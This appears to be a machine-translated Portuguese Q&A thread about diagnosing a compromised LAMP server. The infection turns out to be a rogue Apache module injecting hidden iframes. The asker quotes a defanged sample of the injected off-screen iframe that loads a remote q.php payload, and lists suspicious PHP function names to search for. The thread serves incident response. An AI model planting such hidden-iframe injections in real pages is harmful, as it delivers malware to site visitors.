Malware: Identificando e limpando malware em um site LAMP

1

EDIT: Informações adicionais de informação / investigação contidas nos comentários para este post

Desculpas pelo título vago - teve dificuldade em resumir este.

Descobri recentemente que um dos meus sites serve malware. Como resultado disso, passei por todos os arquivos em httpdocs e procurei por algo suspeito, isto é, chamadas para shell_exec, eval, base64, passthru, inclui, requer, funções de cookie em arquivos PHP. Eu também passei por todos os arquivos JS procurando por métodos suspeitos, além disso, como aspectos do site são construídos a partir de um banco de dados que procurei por algo suspeito (usando phpmyadmin db search function para procurar shell etc php e típico js malware comandos)

Tudo em vão, eu simplesmente não consigo encontrar onde isso está. Como resultado disso, eu reutilizei todos os arquivos para o software que estou executando e efetivamente reinstalei os arquivos do site. Eu também tive o software fornecido para passar e verificar, eles não foram capazes de encontrar nada também.

Isso me deixa com a conclusão de que algo em um nível mais alto, ou seja, o Apache foi comprometido. Então a questão é o que devo verificar aqui?

Estou executando um servidor dedicado que só serve este site e só tenho acesso (diz ele) para poder executar qualquer coisa necessária para ajudar a diagnosticar isso

Como o Malware se apresenta?

Intermitentemente, o código a seguir é colocado em minhas tags:

<style>
.iqb71l { position:absolute; left:-1958px; top:-1826px}
</style>
<div class="iqb71l"><iframe src="hXXp://1.1.1.1/f72387bd1dfab35f89f1899e1be07c08/q.php" width="198" height="501"></iframe></div> 

NOTA: No exemplo de código acima, mudei 'http' para 'hXXp' e o endereço IP para '1.1.1.1'

No entanto, o código nem sempre é injetado, parece ser adicionado aleatoriamente. Além disso, quando o código aparece o endereço IP, seguindo guid e nome da classe são tipicamente diferentes.

Além disso, nenhum dos verificadores de Malware (ou seja, ferramentas do Google para webmasters, etc, etc, etc.) está pegando isso. Então, eu estou supondo que isso é mais do que apenas uma injeção básica, ele está escolhendo aleatoriamente quando se apresentar, ele está escolhendo dinamicamente um endereço para injetar e é aparentemente invisível para referrers de scanner de malware.

Depois de ter passado muito tempo no Google, não consegui encontrar nenhuma instância semelhante, no entanto, encontrei muitas referências a webmasters perguntando sobre um arquivo q.php misterioso que apareceu em seu servidor.

    
por MrEyes 05.03.2013 / 18:06

2 respostas

0

Respondendo minha própria pergunta aqui (o que não desvaloriza a resposta de JakeGould)

Eu finalmente encontrei a causa disso, em vez de um writeup, tudo está bem resumido nesta página:

link

Usando a orientação nessa página (e os artigos vinculados) eu olhei para os módulos do Apache carregados e encontrei o mod_view_proxy.so que não é um módulo do Apache conhecido. Isso estava sendo carregado no Apache através de uma diretiva LoadModule em /etc/httpd/conf.d/perl.conf. Todos os arquivos foram tocados, portanto, o carimbo de data e hora neles não parece suspeito. Como a entrada do blog menciona que o SSHD também foi substituído por uma versão diferente.

Sobre como isso ficou comprometido, não totalmente seguro - a suposição é que isso foi causado pela versão antiga e em execução do vBulletin e / ou de um de seus plugins (o que é totalmente minha culpa).

Também preciso dar a esses caras suas contribuições:

link

Como você pode ver neste tópico, eu esgotara todas as minhas idéias e também minha habilidade técnica, então como último recurso eu fui à Sucuri com tudo o que eu sabia e tinha feito. Sim, é um serviço pago, mas eles encontraram o problema, resolveu - o seu serviço foi fantástico. Eles estavam genuinamente interessados em me ajudar a navegar por essa questão, um serviço de nível que nem sempre vemos nos dias de hoje. Não tenho nada a não ser elogios para eles e não hesitaria em recomendá-los a qualquer um em minha posição.

    
por 23.03.2013 / 14:19
1

Identificar malware em código PHP é um pesadelo. Mas vou transmitir algumas dicas básicas que consegui de limpar alguns desses pesadelos com sucesso.

Primeiro, você tem uma versão limpa do site em qualquer lugar? Tal como a versão staging que fica ao lado da versão production com a qual você pode se comparar? Em caso afirmativo, execute rsync com a verificação de CRC no modo dry-run desta forma:

rsync -rvnc --exclude '.svn' --exclude 'xml' --exclude 'temp' --exclude 'tmp' --exclude 'cache' /clean/version/of/site/ /infected/version/of/site/

Observe que adicionei alguns parâmetros --exclude para excluir a verificação de temp & diretórios de cache.

E se você não tiver uma cópia limpa do site para comparar, basta baixar uma versão de instalação limpa do software PHP que você está usando para usar isso como uma base de comparação. Então, digamos que você tenha um site WordPress que esteja infectado? Baixe a mesma versão exata do WordPress & faça a comparação do Rsync como acima.

Fazendo uma comparação CRC / Dry-Run Rsync sozinho, ele me ajudou a rastrear infecções & limpe-os imediatamente. Basicamente, percorra a lista de arquivos que o Rsync acredita serem diferentes ou novos um-a-um para ver se estão infectados. 9 de 10 vezes você encontrará código injetado no final dos arquivos que - por falta de um termo melhor - parece lixo. Essa será a infecção.

Mas não dê tapinhas nas costas ainda. As mudanças são outras infecções. Em muitos casos, pelo menos, 2 ou 3 mais. Então, passe manualmente por todos os arquivos que o Rsync declara diferentes até que as coisas sejam completamente limpas.

Você não disse qual código PHP é a base do seu site, mas eu também aconselharia imediatamente a atualização da sua instalação para qualquer que seja a última versão corrigida do software. As chances são boas, você não é o primeiro, e este é um problema conhecido, então o patch irá preencher os buracos que o malware passa para começar.

Ah, e quanto ao malware entrar em seu banco de dados, isso pode ser um ponto de entrada, mas na maioria das vezes, malware é o caminho para o seu site, obtendo acesso do usuário através do banco de dados & em seguida, grava malware no código do PHP em seu sistema de arquivos.

    
por 05.03.2013 / 18:41